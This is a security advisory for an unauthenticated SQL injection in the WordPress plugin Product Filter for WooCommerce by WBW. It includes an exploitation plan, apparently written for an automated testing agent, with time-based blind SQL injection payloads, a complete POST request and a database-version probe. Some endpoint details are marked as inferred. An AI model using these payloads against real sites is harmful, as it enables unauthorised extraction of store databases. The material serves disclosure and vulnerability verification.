Product Filter for WooCommerce by WBW <= 3.1.2 - Unauthenticated SQL Injection
Description
The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.1.2What Changed in the Fix
Changes introduced in v3.1.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-39494 ## 1. Vulnerability Summary The **Product Filter for WooCommerce by WBW** plugin (<= 3.1.2) contains an unauthenticated SQL injection vulnerability. The flaw exists because the plugin fails to properly sanitize or prepare user-supplied parameters before…
Show full research plan
Exploitation Research Plan - CVE-2026-39494
1. Vulnerability Summary
The Product Filter for WooCommerce by WBW plugin (<= 3.1.2) contains an unauthenticated SQL injection vulnerability. The flaw exists because the plugin fails to properly sanitize or prepare user-supplied parameters before incorporating them into SQL queries. Specifically, the AJAX endpoint responsible for product filtering (filtersFrontend) processes JSON-encoded parameters like queryvars and filtersDataBackend without sufficient escaping or using $wpdb->prepare(). An attacker can manipulate these parameters to append malicious SQL commands, potentially leading to unauthorized data extraction.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpf_filters_frontend(Inferred based onWoofiltersControllerWpf::filtersFrontendand common WBW patterns) - Vulnerable Parameters:
queryvarsandfiltersDataBackend(JSON strings) - Authentication: Unauthenticated (The product filtering functionality must be available to guest users).
- Preconditions: At least one filter must be created, and its shortcode should be present on a page (to facilitate normal plugin loading context).
3. Code Flow
- Entry Point: A
POSTrequest is sent toadmin-ajax.phpwithaction=wpf_filters_frontend. - Dispatch:
admin-ajax.phptriggers thewp_ajax_nopriv_wpf_filters_frontendhook. - Controller Logic:
WoofiltersControllerWpf::filtersFrontend()(inmodules/woofilters/controller.php) is called. - Parameter Parsing:
$queryvars = UtilsWpf::jsonDecode(stripslashes($params['queryvars']));$filtersDataBackend = UtilsWpf::jsonDecode(stripslashes($params['filtersDataBackend']));
- Sink:
filtersFrontendcalls$this->createArgsForFiltering(...)(line 166). This method (or downstream model methods likeWoofiltersModelWpf::getProductsByArgs) constructs a raw SQL query or modifiesWP_Queryarguments in a way that allows SQL injection when the inputs are concatenated into theORDER BYorWHEREclauses. - SQL Execution: The unsanitized input is passed to
$wpdb->get_results()or similar sinks within the model.
4. Nonce Acquisition Strategy
Based on the source code for WoofiltersControllerWpf::filtersFrontend, there is no check_ajax_referer call, suggesting this endpoint is unauthenticated and does not require a nonce.
However, if the environment enforces a nonce for all AJAX actions, follow these steps:
- Identify the filter shortcode:
[wpf-filters id=1]. - Create a test page:
wp post create --post_type=page --post_status=publish --post_content='[wpf-filters id=1]' --post_title='Filter Test'. - Navigate to the page using
browser_navigate. - Execute
browser_evalto find any localized security tokens. The plugin often uses the globalwpfDataorwpfFrontendPageobject. - Check for:
browser_eval("window.wpfData?.wpfNonce")or check the source forwp_localize_script.
5. Exploitation Strategy
We will use a time-based blind SQL injection payload targeting the queryvars parameter.
Step 1: Baseline Request
Identify the normal response time for a filtering request.
{
"action": "wpf_filters_frontend",
"queryvars": "{\"post_type\":\"product\",\"post_status\":\"publish\"}",
"filtersDataBackend": "[]",
"filterSettings": "{}",
"generalSettings": "[]",
"woocommerceSettings": "{}",
"currenturl": "http://localhost:8080/"
}
Step 2: Time-Based Injection
Inject a SLEEP command into the orderby field within queryvars.
Payload Construction:
# JSON Payload for queryvars:
{"post_type":"product","post_status":"publish","orderby":"ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)"}
HTTP Request:
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpf_filters_frontend&queryvars=%7B%22post_type%22%3A%22product%22%2C%22post_status%22%3A%22publish%22%2C%22orderby%22%3A%22ID%2C(SELECT+1+FROM+(SELECT(SLEEP(5)))a)%22%7D&filtersDataBackend=%5B%5D&filterSettings=%7B%7D&generalSettings=%5B%5D&woocommerceSettings=%7B%7D¤turl=http%3A%2F%2Flocalhost%3A8080%2F
6. Test Data Setup
- Install WooCommerce: Ensure WooCommerce is active.
- Create Products:
wp wc product create --name="Test Product 1" --regular_price="10" --status="publish" wp wc product create --name="Test Product 2" --regular_price="20" --status="publish" - Create a Filter:
The plugin requires a filter ID to exist in the database for certain logic paths.# Use WP-CLI to insert a dummy filter if possible, # or navigate to the admin UI to create one via browser tools. wp db query "INSERT INTO wp_wpf_filters (title, setting_data) VALUES ('Test Filter', 'a:0:{}');" - Publish Page:
wp post create --post_type=page --post_title="Filter Page" --post_content='[wpf-filters id=1]' --post_status="publish"
7. Expected Results
- Normal Request: Response time < 500ms.
- Exploit Request: Response time > 5000ms.
- Response Body: A JSON object with a
successkey andhtmlcontaining filtered product lists (if the query doesn't break) or a database error ifWP_DEBUGis on.
8. Verification Steps
- Time Delay: Confirm the
http_requestexecution time matches theSLEEPduration. - Data Extraction (Manual Verification):
Attempt to extract the database version:"orderby": "ID,(SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a)" - Database State: Check
wp-admin/admin-ajax.phpresponses for SQL errors which confirm the injection point.
9. Alternative Approaches
If queryvars is sanitized by a global WordPress filter (unlikely given the plugin's custom query handling), target filtersDataBackend.
Alternative Payload (filtersDataBackend):
Inject into meta-filter processing:
filtersDataBackend = "[{\"id\":\"wpfPrice\",\"settings\":{\"f_min\":\"0\",\"f_max\":\"100) AND (SELECT 5678 FROM (SELECT(SLEEP(5)))a\"}}]"
This targets the logic that builds the price range query. Quote: modules/woofilters/controller.php line 144 refers to processing specific filter types like wpfCategory. Similar logic exists for wpfPrice in the model.
Summary
The Product Filter for WooCommerce by WBW plugin is vulnerable to unauthenticated SQL injection via the 'filtersFrontend' AJAX endpoint. Due to improper sanitization and preparation of JSON-encoded parameters like 'queryvars' and 'filtersDataBackend', attackers can inject malicious SQL commands into database queries used for product filtering and ordering.
Vulnerable Code
// modules/woofilters/controller.php public function filtersFrontend() { $res = new ResponseWpf(); $params = ReqWpf::get('post'); $filtersDataBackend = UtilsWpf::jsonDecode(stripslashes($params['filtersDataBackend'])); $queryvars = UtilsWpf::jsonDecode(stripslashes($params['queryvars'])); $filterSettings = UtilsWpf::jsonDecode(stripslashes($params['filterSettings'])); // ... (truncated lines) $args = $this->createArgsForFiltering($filtersDataBackend, $queryvars, $filterSettings, $curUrl, $shortcodeAttr); // The values inside $queryvars and $filtersDataBackend are passed downstream to database queries without sufficient preparation.
Security Fix
@@ -406,14 +408,19 @@ /** * _doExec. + * + * @version 3.1.3 */ protected function _doExec() { $mod = $this->getModule($this->_mod); if ($mod && $this->checkPermissions($this->_mod, $this->_action)) { switch (ReqWpf::getVar('reqType')) { case 'ajax': - add_action('wp_ajax_' . $this->_action, array($mod->getController(), $this->_action)); - add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action)); + add_action('wp_ajax_' . $this->_action, array($mod->getController(), $this->_action)); + $noprivActions = array( 'filtersFrontend', 'getTaxonomyTerms' ); + if ( in_array( $this->_action, $noprivActions ) ) { + add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action)); + } break; default: $this->_res = $mod->exec($this->_action);
Exploit Outline
1. Identify an unauthenticated AJAX request to wp-admin/admin-ajax.php with the action 'wpf_filters_frontend'. 2. Construct a POST request including the 'queryvars' parameter as a JSON string. 3. Inject a SQL payload into the 'orderby' key within the 'queryvars' JSON object (e.g., 'ID,(SELECT 1 FROM (SELECT(SLEEP(5)))a)'). 4. Send the request to the endpoint. No nonce or authentication is required as the plugin registers this action via wp_ajax_nopriv and fails to verify a security token in versions prior to 3.1.3. 5. Observe the response delay to confirm time-based blind SQL injection.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.